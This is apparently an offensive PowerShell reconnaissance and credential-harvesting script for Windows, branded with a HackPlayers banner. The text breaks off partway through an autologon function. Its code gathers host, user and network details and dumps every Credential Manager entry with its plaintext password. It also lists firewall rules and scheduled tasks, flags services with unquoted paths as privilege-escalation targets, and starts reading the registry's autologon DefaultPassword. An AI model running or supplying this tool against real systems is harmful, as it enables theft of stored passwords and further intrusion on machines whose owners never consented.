$banner = @"
     .-----.            .'``-.
    /      ,--          | .- ``-.
  ,'    ,-'   ``.     _.-'  ,-.``.)
 ;     /   ,=---``--+'     .- -. ``.
(   \    ,'   =,- ,'     ( o ) | /\
 :   :  /  =,-'  /        \-'  ;(o :
  \  |     '    ;  (       ``--'  \ ;
   \ |        = |  \``--+   --.    ``(
    ``+       =/ :   :   ``.    ``.    \
     '      =/   \   ``--. '-.   ``.   ``.
      \    =;     ``._    : ( ``-.  ``.   ``.
       \  = ;        ``._.'  ``-.-``-._\    ``-.
        \= '                   _.-'_)  (::::)
         ``+      -.           ``--7'  ``--``..'
          (        :    .'       ;
           \       |    |       /
            \      | _.-|  +---'
             ``--+   ``.  \   \
                /``.  '-.-\   ``--.
               /    /#### ``----.'
              (  ,-'############\
              \\/###############;
               \###############/
 l1c0rd3b3ll0t4 |--------------|     _.---------
                :::::::::::::::|_.-''
                 ::::::::::_.-''
       .-''..'---'-------''     CyberVaca@HackPlayers
"@



function Get-Info {

$OS = Get-WmiObject -Class Win32_OperatingSystem 
$Bios = Get-WmiObject -Class Win32_BIOS 
$sheetS = Get-WmiObject -Class Win32_ComputerSystem 
$sheetPU = Get-WmiObject -Class Win32_Processor 
$IPAddress= (Get-WmiObject Win32_NetworkAdapterConfiguration | ? {$_.ipenabled}).ipaddress 
$OSRunning = $OS.caption + " " + $OS.OSArchitecture + " SP " + $OS.ServicePackMajorVersion
$NoOfProcessors=$sheetS.numberofProcessors
$name=$SheetPU|select name -First 1
$Manufacturer=$sheetS.Manufacturer
$Model=$sheetS.Model
$ProcessorName=$SheetPU|select name -First 1
$Mac = (Get-WmiObject -class Win32_NetworkAdapter | ? { $_.PhysicalAdapter } ).macaddress
$date = Get-Date
$uptime = $OS.ConvertToDateTime($OS.lastbootuptime)
$sheetPUInfo = $name.Name + " & has " + $sheetPU.NumberOfCores + " Cores & the FSB is " + $sheetPU.ExtClock + " Mhz"
$sheetPULOAD = $sheetPU.LoadPercentage
$serialnumer = (Get-WmiObject -Class Win32_BIOS ).serialnumber
$RAM = (Get-WmiObject -class Win32_ComputerSystem  ).totalphysicalmemory / 1gb
$ram_round= [math]::Round($ram,0)
$Disco_duro = $drives.Size / 1gb ; $Disco_duro = [math]::Round($Disco_duro,0) ; $Disco_duro = "$Disco_duro Gb"
$windows_version = ([environment]::OSVersion).VersionString
$Dominio = $sheetS.Domain

$PC = New-Object psobject -Property @{ 
"Nombre" = $env:COMPUTERNAME
"Sistema Operativo" = $OSRunning
"Windows Version" = $windows_version
"Procesador" = $name.name
"Modelo" = $Model
"Dominio" = $Dominio
"Num. Procesadores" = "$NoOfProcessors"
"Memoria RAM" = "$ram_round Gb"
"Direccion IP" = [string]$IPAddress[0]
"MAC" = $mac
"Numero de serie" = $serialnumer
"Disco Duro" = $Disco_duro
}

$PC }
function Get-Discosduros {Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root}
function Get-Usuarios {
$usuarios = (Get-LocalUser | Where-Object {$_.enabled -eq $true}).name
$grupos = (Get-LocalGroup -Name adminis*).name
$administradores = Get-LocalGroupMember -Name administradores -ErrorAction SilentlyContinue; if ($administradores.length -eq 0 ) {$administradores = Get-LocalGroupMember -Name administrators -ErrorAction SilentlyContinue} 

$Info_usuarios = New-Object psobject -Property @{ 
"Usuarios" = $usuarios
"Administradores" = $administradores
"Grupos Locales" = $grupos

}

$Info_usuarios 

}
function Get-ConfigRED {

Start-Job -ScriptBlock { 
ipconfig /all
Write-Host "`n[+] ================================== Rutas Estaticas =======================================`n"
route print
Write-Host "`n[+] ==================================== Tabla ARP ===========================================`n"
arp -A
Write-Host "`n[+] ==================================== Conexiones Activas ===========================================`n"

Get-NetTCPConnection | ? {$_.State -eq "Listen"} | Select-Object LocalAddress, Localport, state |  sort localport| Format-Table  } | Wait-Job | Receive-Job


}
function credman {
Param
(
	[Parameter(Mandatory=$false)][Switch] $AddCred,
	[Parameter(Mandatory=$false)][Switch] $DelCred,
	[Parameter(Mandatory=$false)][Switch] $GetCred,
	[Parameter(Mandatory=$false)][Switch] $ShoCred,
	[Parameter(Mandatory=$false)][Switch] $RunTests,
	[Parameter(Mandatory=$false)][ValidateLength(1,32767) <# CRED_MAX_GENERIC_TARGET_NAME_LENGTH #>][String] $Target, 
	[Parameter(Mandatory=$false)][ValidateLength(1,512) <# CRED_MAX_USERNAME_LENGTH #>][String] $User, 
	[Parameter(Mandatory=$false)][ValidateLength(1,512) <# CRED_MAX_CREDENTIAL_BLOB_SIZE #>][String] $Pass,
	[Parameter(Mandatory=$false)][ValidateLength(1,256) <# CRED_MAX_STRING_LENGTH #>][String] $Comment,
	[Parameter(Mandatory=$false)][Switch] $All,
	[Parameter(Mandatory=$false)][ValidateSet("GENERIC",
											  "DOMAIN_PASSWORD",
											  "DOMAIN_CERTIFICATE",
											  "DOMAIN_VISIBLE_PASSWORD",
											  "GENERIC_CERTIFICATE",
											  "DOMAIN_EXTENDED",
											  "MAXIMUM",
											  "MAXIMUM_EX")][String] $CredType = "GENERIC",
	[Parameter(Mandatory=$false)][ValidateSet("SESSION",
											  "LOCAL_MACHINE",
											  "ENTERPRISE")][String] $CredPersist = "ENTERPRISE"
)

#region Pinvoke
#region Inline C#
[String] $PsCredmanUtils = @"
using System;
using System.Runtime.InteropServices;

namespace PsUtils
{
    public class CredMan
    {
        #region Imports
        // DllImport derives from System.Runtime.InteropServices
        [DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredDeleteW", CharSet = CharSet.Unicode)]
        private static extern bool CredDeleteW([In] string target, [In] CRED_TYPE type, [In] int reservedFlag);

        [DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredEnumerateW", CharSet = CharSet.Unicode)]
        private static extern bool CredEnumerateW([In] string Filter, [In] int Flags, out int Count, out IntPtr CredentialPtr);

        [DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredFree")]
        private static extern void CredFree([In] IntPtr cred);

        [DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredReadW", CharSet = CharSet.Unicode)]
        private static extern bool CredReadW([In] string target, [In] CRED_TYPE type, [In] int reservedFlag, out IntPtr CredentialPtr);

        [DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredWriteW", CharSet = CharSet.Unicode)]
        private static extern bool CredWriteW([In] ref Credential userCredential, [In] UInt32 flags);
        #endregion

        #region Fields
        public enum CRED_FLAGS : uint
        {
            NONE = 0x0,
            PROMPT_NOW = 0x2,
            USERNAME_TARGET = 0x4
        }

        public enum CRED_ERRORS : uint
        {
            ERROR_SUCCESS = 0x0,
            ERROR_INVALID_PARAMETER = 0x80070057,
            ERROR_INVALID_FLAGS = 0x800703EC,
            ERROR_NOT_FOUND = 0x80070490,
            ERROR_NO_SUCH_LOGON_SESSION = 0x80070520,
            ERROR_BAD_USERNAME = 0x8007089A
        }

        public enum CRED_PERSIST : uint
        {
            SESSION = 1,
            LOCAL_MACHINE = 2,
            ENTERPRISE = 3
        }

        public enum CRED_TYPE : uint
        {
            GENERIC = 1,
            DOMAIN_PASSWORD = 2,
            DOMAIN_CERTIFICATE = 3,
            DOMAIN_VISIBLE_PASSWORD = 4,
            GENERIC_CERTIFICATE = 5,
            DOMAIN_EXTENDED = 6,
            MAXIMUM = 7,      // Maximum supported cred type
            MAXIMUM_EX = (MAXIMUM + 1000),  // Allow new applications to run on old OSes
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public struct Credential
        {
            public CRED_FLAGS Flags;
            public CRED_TYPE Type;
            public string TargetName;
            public string Comment;
            public DateTime LastWritten;
            public UInt32 CredentialBlobSize;
            public string CredentialBlob;
            public CRED_PERSIST Persist;
            public UInt32 AttributeCount;
            public IntPtr Attributes;
            public string TargetAlias;
            public string UserName;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        private struct NativeCredential
        {
            public CRED_FLAGS Flags;
            public CRED_TYPE Type;
            public IntPtr TargetName;
            public IntPtr Comment;
            public System.Runtime.InteropServices.ComTypes.FILETIME LastWritten;
            public UInt32 CredentialBlobSize;
            public IntPtr CredentialBlob;
            public UInt32 Persist;
            public UInt32 AttributeCount;
            public IntPtr Attributes;
            public IntPtr TargetAlias;
            public IntPtr UserName;
        }
        #endregion

        #region Child Class
        private class CriticalCredentialHandle : Microsoft.Win32.SafeHandles.CriticalHandleZeroOrMinusOneIsInvalid
        {
            public CriticalCredentialHandle(IntPtr preexistingHandle)
            {
                SetHandle(preexistingHandle);
            }

            private Credential XlateNativeCred(IntPtr pCred)
            {
                NativeCredential ncred = (NativeCredential)Marshal.PtrToStructure(pCred, typeof(NativeCredential));
                Credential cred = new Credential();
                cred.Type = ncred.Type;
                cred.Flags = ncred.Flags;
                cred.Persist = (CRED_PERSIST)ncred.Persist;

                long LastWritten = ncred.LastWritten.dwHighDateTime;
                LastWritten = (LastWritten << 32) + ncred.LastWritten.dwLowDateTime;
                cred.LastWritten = DateTime.FromFileTime(LastWritten);

                cred.UserName = Marshal.PtrToStringUni(ncred.UserName);
                cred.TargetName = Marshal.PtrToStringUni(ncred.TargetName);
                cred.TargetAlias = Marshal.PtrToStringUni(ncred.TargetAlias);
                cred.Comment = Marshal.PtrToStringUni(ncred.Comment);
                cred.CredentialBlobSize = ncred.CredentialBlobSize;
                if (0 < ncred.CredentialBlobSize)
                {
                    cred.CredentialBlob = Marshal.PtrToStringUni(ncred.CredentialBlob, (int)ncred.CredentialBlobSize / 2);
                }
                return cred;
            }

            public Credential GetCredential()
            {
                if (IsInvalid)
                {
                    throw new InvalidOperationException("Invalid CriticalHandle!");
                }
                Credential cred = XlateNativeCred(handle);
                return cred;
            }

            public Credential[] GetCredentials(int count)
            {
                if (IsInvalid)
                {
                    throw new InvalidOperationException("Invalid CriticalHandle!");
                }
                Credential[] Credentials = new Credential[count];
                IntPtr pTemp = IntPtr.Zero;
                for (int inx = 0; inx < count; inx++)
                {
                    pTemp = Marshal.ReadIntPtr(handle, inx * IntPtr.Size);
                    Credential cred = XlateNativeCred(pTemp);
                    Credentials[inx] = cred;
                }
                return Credentials;
            }

            override protected bool ReleaseHandle()
            {
                if (IsInvalid)
                {
                    return false;
                }
                CredFree(handle);
                SetHandleAsInvalid();
                return true;
            }
        }
        #endregion

        #region Custom API
        public static int CredDelete(string target, CRED_TYPE type)
        {
            if (!CredDeleteW(target, type, 0))
            {
                return Marshal.GetHRForLastWin32Error();
            }
            return 0;
        }

        public static int CredEnum(string Filter, out Credential[] Credentials)
        {
            int count = 0;
            int Flags = 0x0;
            if (string.IsNullOrEmpty(Filter) ||
                "*" == Filter)
            {
                Filter = null;
                if (6 <= Environment.OSVersion.Version.Major)
                {
                    Flags = 0x1; //CRED_ENUMERATE_ALL_CREDENTIALS; only valid is OS >= Vista
                }
            }
            IntPtr pCredentials = IntPtr.Zero;
            if (!CredEnumerateW(Filter, Flags, out count, out pCredentials))
            {
                Credentials = null;
                return Marshal.GetHRForLastWin32Error(); 
            }
            CriticalCredentialHandle CredHandle = new CriticalCredentialHandle(pCredentials);
            Credentials = CredHandle.GetCredentials(count);
            return 0;
        }

        public static int CredRead(string target, CRED_TYPE type, out Credential Credential)
        {
            IntPtr pCredential = IntPtr.Zero;
            Credential = new Credential();
            if (!CredReadW(target, type, 0, out pCredential))
            {
                return Marshal.GetHRForLastWin32Error();
            }
            CriticalCredentialHandle CredHandle = new CriticalCredentialHandle(pCredential);
            Credential = CredHandle.GetCredential();
            return 0;
        }

        public static int CredWrite(Credential userCredential)
        {
            if (!CredWriteW(ref userCredential, 0))
            {
                return Marshal.GetHRForLastWin32Error();
            }
            return 0;
        }

        #endregion

        private static int AddCred()
        {
            Credential Cred = new Credential();
            string Password = "Password";
            Cred.Flags = 0;
            Cred.Type = CRED_TYPE.GENERIC;
            Cred.TargetName = "Target";
            Cred.UserName = "UserName";
            Cred.AttributeCount = 0;
            Cred.Persist = CRED_PERSIST.ENTERPRISE;
            Cred.CredentialBlobSize = (uint)Password.Length;
            Cred.CredentialBlob = Password;
            Cred.Comment = "Comment";
            return CredWrite(Cred);
        }

        private static bool CheckError(string TestName, CRED_ERRORS Rtn)
        {
            switch(Rtn)
            {
                case CRED_ERRORS.ERROR_SUCCESS:
                    Console.WriteLine(string.Format("'{0}' worked", TestName));
                    return true;
                case CRED_ERRORS.ERROR_INVALID_FLAGS:
                case CRED_ERRORS.ERROR_INVALID_PARAMETER:
                case CRED_ERRORS.ERROR_NO_SUCH_LOGON_SESSION:
                case CRED_ERRORS.ERROR_NOT_FOUND:
                case CRED_ERRORS.ERROR_BAD_USERNAME:
                    Console.WriteLine(string.Format("'{0}' failed; {1}.", TestName, Rtn));
                    break;
                default:
                    Console.WriteLine(string.Format("'{0}' failed; 0x{1}.", TestName, Rtn.ToString("X")));
                    break;
            }
            return false;
        }

        /*
         * Note: the Main() function is primarily for debugging and testing in a Visual 
         * Studio session.  Although it will work from PowerShell, it's not very useful.
         */
        public static void Main()
        {
            Credential[] Creds = null;
            Credential Cred = new Credential();
            int Rtn = 0;

            Console.WriteLine("Testing CredWrite()");
            Rtn = AddCred();
            if (!CheckError("CredWrite", (CRED_ERRORS)Rtn))
            {
                return;
            }
            Console.WriteLine("Testing CredEnum()");
            Rtn = CredEnum(null, out Creds);
            if (!CheckError("CredEnum", (CRED_ERRORS)Rtn))
            {
                return;
            }
            Console.WriteLine("Testing CredRead()");
            Rtn = CredRead("Target", CRED_TYPE.GENERIC, out Cred);
            if (!CheckError("CredRead", (CRED_ERRORS)Rtn))
            {
                return;
            }
            Console.WriteLine("Testing CredDelete()");
            Rtn = CredDelete("Target", CRED_TYPE.GENERIC);
            if (!CheckError("CredDelete", (CRED_ERRORS)Rtn))
            {
                return;
            }
            Console.WriteLine("Testing CredRead() again");
            Rtn = CredRead("Target", CRED_TYPE.GENERIC, out Cred);
            if (!CheckError("CredRead", (CRED_ERRORS)Rtn))
            {
                Console.WriteLine("if the error is 'ERROR_NOT_FOUND', this result is OK.");
            }
        }
    }
}
"@
#endregion

$PsCredMan = $null
try
{
	$PsCredMan = [PsUtils.CredMan]
}
catch
{
	#only remove the error we generate
	$Error.RemoveAt($Error.Count-1)
}
if($null -eq $PsCredMan)
{
	Add-Type $PsCredmanUtils
}
#endregion

#region Internal Tools
[HashTable] $ErrorCategory = @{0x80070057 = "InvalidArgument";
                               0x800703EC = "InvalidData";
                               0x80070490 = "ObjectNotFound";
                               0x80070520 = "SecurityError";
                               0x8007089A = "SecurityError"}

function Get-CredType
{
	Param
	(
		[Parameter(Mandatory=$true)][ValidateSet("GENERIC",
												  "DOMAIN_PASSWORD",
												  "DOMAIN_CERTIFICATE",
												  "DOMAIN_VISIBLE_PASSWORD",
												  "GENERIC_CERTIFICATE",
												  "DOMAIN_EXTENDED",
												  "MAXIMUM",
												  "MAXIMUM_EX")][String] $CredType
	)
	
	switch($CredType)
	{
		"GENERIC" {return [PsUtils.CredMan+CRED_TYPE]::GENERIC}
		"DOMAIN_PASSWORD" {return [PsUtils.CredMan+CRED_TYPE]::DOMAIN_PASSWORD}
		"DOMAIN_CERTIFICATE" {return [PsUtils.CredMan+CRED_TYPE]::DOMAIN_CERTIFICATE}
		"DOMAIN_VISIBLE_PASSWORD" {return [PsUtils.CredMan+CRED_TYPE]::DOMAIN_VISIBLE_PASSWORD}
		"GENERIC_CERTIFICATE" {return [PsUtils.CredMan+CRED_TYPE]::GENERIC_CERTIFICATE}
		"DOMAIN_EXTENDED" {return [PsUtils.CredMan+CRED_TYPE]::DOMAIN_EXTENDED}
		"MAXIMUM" {return [PsUtils.CredMan+CRED_TYPE]::MAXIMUM}
		"MAXIMUM_EX" {return [PsUtils.CredMan+CRED_TYPE]::MAXIMUM_EX}
	}
}

function Get-CredPersist
{
	Param
	(
		[Parameter(Mandatory=$true)][ValidateSet("SESSION",
												  "LOCAL_MACHINE",
												  "ENTERPRISE")][String] $CredPersist
	)
	
	switch($CredPersist)
	{
		"SESSION" {return [PsUtils.CredMan+CRED_PERSIST]::SESSION}
		"LOCAL_MACHINE" {return [PsUtils.CredMan+CRED_PERSIST]::LOCAL_MACHINE}
		"ENTERPRISE" {return [PsUtils.CredMan+CRED_PERSIST]::ENTERPRISE}
	}
}
#endregion

#region Dot-Sourced API
function Del-Creds
{
<#
.Synopsis
  Deletes the specified credentials

.Description
  Calls Win32 CredDeleteW via [PsUtils.CredMan]::CredDelete

.INPUTS
  See function-level notes

.OUTPUTS
  0 or non-0 according to action success
  [Management.Automation.ErrorRecord] if error encountered

.PARAMETER Target
  Specifies the URI for which the credentials are associated
  
.PARAMETER CredType
  Specifies the desired credentials type; defaults to 
  "CRED_TYPE_GENERIC"
#>

	Param
	(
		[Parameter(Mandatory=$true)][ValidateLength(1,32767)][String] $Target,
		[Parameter(Mandatory=$false)][ValidateSet("GENERIC",
												  "DOMAIN_PASSWORD",
												  "DOMAIN_CERTIFICATE",
												  "DOMAIN_VISIBLE_PASSWORD",
												  "GENERIC_CERTIFICATE",
												  "DOMAIN_EXTENDED",
												  "MAXIMUM",
												  "MAXIMUM_EX")][String] $CredType = "GENERIC"
	)
	
	[Int] $Results = 0
	try
	{
		$Results = [PsUtils.CredMan]::CredDelete($Target, $(Get-CredType $CredType))
	}
	catch
	{
		return $_
	}
	if(0 -ne $Results)
	{
		[String] $Msg = "Failed to delete credentials store for target '$Target'"
		[Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg)
		[Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, $Results.ToString("X"), $ErrorCategory[$Results], $null)
		return $ErrRcd
	}
	return $Results
}

function Enum-Creds
{
<#
.Synopsis
  Enumerates stored credentials for operating user

.Description
  Calls Win32 CredEnumerateW via [PsUtils.CredMan]::CredEnum

.INPUTS
  

.OUTPUTS
  [PsUtils.CredMan+Credential[]] if successful
  [Management.Automation.ErrorRecord] if unsuccessful or error encountered

.PARAMETER Filter
  Specifies the filter to be applied to the query
  Defaults to [String]::Empty
  
#>

	Param
	(
		[Parameter(Mandatory=$false)][AllowEmptyString()][String] $Filter = [String]::Empty
	)
	
	[PsUtils.CredMan+Credential[]] $Creds = [Array]::CreateInstance([PsUtils.CredMan+Credential], 0)
	[Int] $Results = 0
	try
	{
		$Results = [PsUtils.CredMan]::CredEnum($Filter, [Ref]$Creds)
	}
	catch
	{
		return $_
	}
	switch($Results)
	{
        0 {break}
        0x80070490 {break} #ERROR_NOT_FOUND
        default
        {
    		[String] $Msg = "Failed to enumerate credentials store for user '$Env:UserName'"
    		[Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg)
    		[Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, $Results.ToString("X"), $ErrorCategory[$Results], $null)
    		return $ErrRcd
        }
	}
	return $Creds
}

function Read-Creds
{
<#
.Synopsis
  Reads specified credentials for operating user

.Description
  Calls Win32 CredReadW via [PsUtils.CredMan]::CredRead

.INPUTS

.OUTPUTS
  [PsUtils.CredMan+Credential] if successful
  [Management.Automation.ErrorRecord] if unsuccessful or error encountered

.PARAMETER Target
  Specifies the URI for which the credentials are associated
  If not provided, the username is used as the target
  
.PARAMETER CredType
  Specifies the desired credentials type; defaults to 
  "CRED_TYPE_GENERIC"
#>

	Param
	(
		[Parameter(Mandatory=$true)][ValidateLength(1,32767)][String] $Target,
		[Parameter(Mandatory=$false)][ValidateSet("GENERIC",
												  "DOMAIN_PASSWORD",
												  "DOMAIN_CERTIFICATE",
												  "DOMAIN_VISIBLE_PASSWORD",
												  "GENERIC_CERTIFICATE",
												  "DOMAIN_EXTENDED",
												  "MAXIMUM",
												  "MAXIMUM_EX")][String] $CredType = "GENERIC"
	)
	
	if("GENERIC" -ne $CredType -and 337 -lt $Target.Length) #CRED_MAX_DOMAIN_TARGET_NAME_LENGTH
	{
		[String] $Msg = "Target field is longer ($($Target.Length)) than allowed (max 337 characters)"
		[Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg)
		[Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, 666, 'LimitsExceeded', $null)
		return $ErrRcd
	}
	[PsUtils.CredMan+Credential] $Cred = New-Object PsUtils.CredMan+Credential
    [Int] $Results = 0
	try
	{
		$Results = [PsUtils.CredMan]::CredRead($Target, $(Get-CredType $CredType), [Ref]$Cred)
	}
	catch
	{
		return $_
	}
	
	switch($Results)
	{
        0 {break}
        0x80070490 {return $null} #ERROR_NOT_FOUND
        default
        {
    		[String] $Msg = "Error reading credentials for target '$Target' from '$Env:UserName' credentials store"
    		[Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg)
    		[Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, $Results.ToString("X"), $ErrorCategory[$Results], $null)
    		return $ErrRcd
        }
	}
	return $Cred
}

function Write-Creds
{
<#
.Synopsis
  Saves or updates specified credentials for operating user

.Description
  Calls Win32 CredWriteW via [PsUtils.CredMan]::CredWrite

.INPUTS

.OUTPUTS
  [Boolean] true if successful
  [Management.Automation.ErrorRecord] if unsuccessful or error encountered

.PARAMETER Target
  Specifies the URI for which the credentials are associated
  If not provided, the username is used as the target
  
.PARAMETER UserName
  Specifies the name of credential to be read
  
.PARAMETER Password
  Specifies the password of credential to be read
  
.PARAMETER Comment
  Allows the caller to specify the comment associated with 
  these credentials
  
.PARAMETER CredType
  Specifies the desired credentials type; defaults to 
  "CRED_TYPE_GENERIC"

.PARAMETER CredPersist
  Specifies the desired credentials storage type;
  defaults to "CRED_PERSIST_ENTERPRISE"
#>

	Param
	(
		[Parameter(Mandatory=$false)][ValidateLength(0,32676)][String] $Target,
		[Parameter(Mandatory=$true)][ValidateLength(1,512)][String] $UserName,
		[Parameter(Mandatory=$true)][ValidateLength(1,512)][String] $Password,
		[Parameter(Mandatory=$false)][ValidateLength(0,256)][String] $Comment = [String]::Empty,
		[Parameter(Mandatory=$false)][ValidateSet("GENERIC",
												  "DOMAIN_PASSWORD",
												  "DOMAIN_CERTIFICATE",
												  "DOMAIN_VISIBLE_PASSWORD",
												  "GENERIC_CERTIFICATE",
												  "DOMAIN_EXTENDED",
												  "MAXIMUM",
												  "MAXIMUM_EX")][String] $CredType = "GENERIC",
		[Parameter(Mandatory=$false)][ValidateSet("SESSION",
												  "LOCAL_MACHINE",
												  "ENTERPRISE")][String] $CredPersist = "ENTERPRISE"
	)

	if([String]::IsNullOrEmpty($Target))
	{
		$Target = $UserName
	}
	if("GENERIC" -ne $CredType -and 337 -lt $Target.Length) #CRED_MAX_DOMAIN_TARGET_NAME_LENGTH
	{
		[String] $Msg = "Target field is longer ($($Target.Length)) than allowed (max 337 characters)"
		[Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg)
		[Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, 666, 'LimitsExceeded', $null)
		return $ErrRcd
	}
    if([String]::IsNullOrEmpty($Comment))
    {
        $Comment = [String]::Format("Last edited by {0}\{1} on {2}",
                                    $Env:UserDomain,
                                    $Env:UserName,
                                    $Env:ComputerName)
    }
	[String] $DomainName = [Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties().DomainName
	[PsUtils.CredMan+Credential] $Cred = New-Object PsUtils.CredMan+Credential
	switch($Target -eq $UserName -and 
		   ("CRED_TYPE_DOMAIN_PASSWORD" -eq $CredType -or 
		    "CRED_TYPE_DOMAIN_CERTIFICATE" -eq $CredType))
	{
		$true  {$Cred.Flags = [PsUtils.CredMan+CRED_FLAGS]::USERNAME_TARGET}
		$false  {$Cred.Flags = [PsUtils.CredMan+CRED_FLAGS]::NONE}
	}
	$Cred.Type = Get-CredType $CredType
	$Cred.TargetName = $Target
	$Cred.UserName = $UserName
	$Cred.AttributeCount = 0
	$Cred.Persist = Get-CredPersist $CredPersist
	$Cred.CredentialBlobSize = [Text.Encoding]::Unicode.GetBytes($Password).Length
	$Cred.CredentialBlob = $Password
	$Cred.Comment = $Comment

	[Int] $Results = 0
	try
	{
		$Results = [PsUtils.CredMan]::CredWrite($Cred)
	}
	catch
	{
		return $_
	}

	if(0 -ne $Results)
	{
		[String] $Msg = "Failed to write to credentials store for target '$Target' using '$UserName', '$Password', '$Comment'"
		[Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg)
		[Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, $Results.ToString("X"), $ErrorCategory[$Results], $null)
		return $ErrRcd
	}
	return $Results
}

#endregion

#region Cmd-Line functionality
function CredManMain
{
#region Adding credentials
	if($AddCred)
	{
		if([String]::IsNullOrEmpty($User) -or
		   [String]::IsNullOrEmpty($Pass))
		{
			Write-Host "You must supply a user name and password (target URI is optional)."
			return
		}
		# may be [Int32] or [Management.Automation.ErrorRecord]
		[Object] $Results = Write-Creds $Target $User $Pass $Comment $CredType $CredPersist
		if(0 -eq $Results)
		{
			[Object] $Cred = Read-Creds $Target $CredType
			if($null -eq $Cred)
			{
				Write-Host "Credentials for '$Target', '$User' was not found."
				return
			}
			if($Cred -is [Management.Automation.ErrorRecord])
			{
				return $Cred
			}
			[String] $CredStr = @"
Successfully wrote or updated credentials as:
  UserName  : $($Cred.UserName)
  Password  : $($Cred.CredentialBlob)
  Target    : $($Cred.TargetName.Substring($Cred.TargetName.IndexOf("=")+1))
  Updated   : $([String]::Format("{0:yyyy-MM-dd HH:mm:ss}", $Cred.LastWritten.ToUniversalTime())) UTC
  Comment   : $($Cred.Comment)
"@
			Write-Host $CredStr

			return
		}
		# will be a [Management.Automation.ErrorRecord]
		return $Results
	}
#endregion	

#region Removing credentials
	if($DelCred)
	{
		if(-not $Target)
		{
			Write-Host "You must supply a target URI."
			return
		}
		# may be [Int32] or [Management.Automation.ErrorRecord]
		[Object] $Results = Del-Creds $Target $CredType 
		if(0 -eq $Results)
		{
			Write-Host "Successfully deleted credentials for '$Target'"
			return
		}
		# will be a [Management.Automation.ErrorRecord]
		return $Results
	}
#endregion

#region Reading selected credential
	if($GetCred)
	{
		if(-not $Target)
		{
			Write-Host "You must supply a target URI."
			return
		}
		# may be [PsUtils.CredMan+Credential] or [Management.Automation.ErrorRecord]
		[Object] $Cred = Read-Creds $Target $CredType
		if($null -eq $Cred)
		{
			Write-Host "Credential for '$Target' as '$CredType' type was not found."
			return
		}
		if($Cred -is [Management.Automation.ErrorRecord])
		{
			return $Cred
		}
		[String] $CredStr = @"
Found credentials as:
  UserName  : $($Cred.UserName)
  Password  : $($Cred.CredentialBlob)
  Target    : $($Cred.TargetName.Substring($Cred.TargetName.IndexOf("=")+1))
  Updated   : $([String]::Format("{0:yyyy-MM-dd HH:mm:ss}", $Cred.LastWritten.ToUniversalTime())) UTC
  Comment   : $($Cred.Comment)
"@
		Write-Host $CredStr
	}
#endregion

#region Reading all credentials
	if($ShoCred)
	{
		# may be [PsUtils.CredMan+Credential[]] or [Management.Automation.ErrorRecord]
		[Object] $Creds = Enum-Creds
		if($Creds -split [Array] -and 0 -eq $Creds.Length)
		{
			Write-Host "No Credentials found for $($Env:UserName)"
			return
		}
		if($Creds -is [Management.Automation.ErrorRecord])
		{
			return $Creds
		}
		foreach($Cred in $Creds)
		{
			[String] $CredStr = @"
			
UserName  : $($Cred.UserName)
Password  : $($Cred.CredentialBlob)
Target    : $($Cred.TargetName.Substring($Cred.TargetName.IndexOf("=")+1))
Updated   : $([String]::Format("{0:yyyy-MM-dd HH:mm:ss}", $Cred.LastWritten.ToUniversalTime())) UTC
Comment   : $($Cred.Comment)
"@


			if($All)
			{
				$CredStr = @"
$CredStr
Alias     : $($Cred.TargetAlias)
AttribCnt : $($Cred.AttributeCount)
Attribs   : $($Cred.Attributes)
Flags     : $($Cred.Flags)
Pwd Size  : $($Cred.CredentialBlobSize)
Storage   : $($Cred.Persist)
Type      : $($Cred.Type)
"@


			}


$Credenciales_extraidas = New-Object psobject -Property @{ 
"Username" = $Cred.UserName
"Password" = $Cred.CredentialBlob
"Target" = $Cred.TargetName.Substring($Cred.TargetName.IndexOf("=")+1)
"Updated" = ([String]::Format("{0:yyyy-MM-dd HH:mm:ss}", $Cred.LastWritten.ToUniversalTime())) 
"Comment" = $Cred.Comment
}
            if (($Credenciales_extraidas.password).length -lt 30 -and ($Credenciales_extraidas.password).length -gt "3") {$Credenciales_extraidas} else {}            

		}
		return
	}
#endregion

#region Run basic diagnostics
	if($RunTests)
	{
		[PsUtils.CredMan]::Main()
	}
#endregion
}
#endregion

CredManMain
}
function Get-Config-Firewall {
Write-Host "`n[+] ================================== Configuracion de Firewall  ==================================`n"
netsh firewall show stat
$f=New-object -comObject HNetCfg.FwPolicy2;($f.rules | where {$_.action -eq "0"} | select name,applicationname,localports)

}
$tareas = schtasks /query /fo LIST /v
function Get-DriversInstalados { Get-WmiObject Win32_PnPSignedDriver| Where-Object {$_.DriverProviderName -notlike "Microsoft" -and $_.devicename -ne $null} | select devicename, driverversion}
function Obtenemos-Servicios {
Start-Job -ScriptBlock { Get-ItemProperty  "registry::HKLM\SYSTEM\CurrentControlSet\services\*" |  Where-Object {$_.imagePath -notlike "*system32*" -and $_.imagepath -ne $null -and $_.imagepath -notlike '*"*' } |Select-Object  PSChildName,ImagePath  | Format-Table} | Wait-Job | Receive-Job
}
function get-autologon {
$resultado = Get-ItemProperty "registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon" | Select-Object AutoAdminLogon, DefaultUserName, DefaultPassword, DefaultDomainName

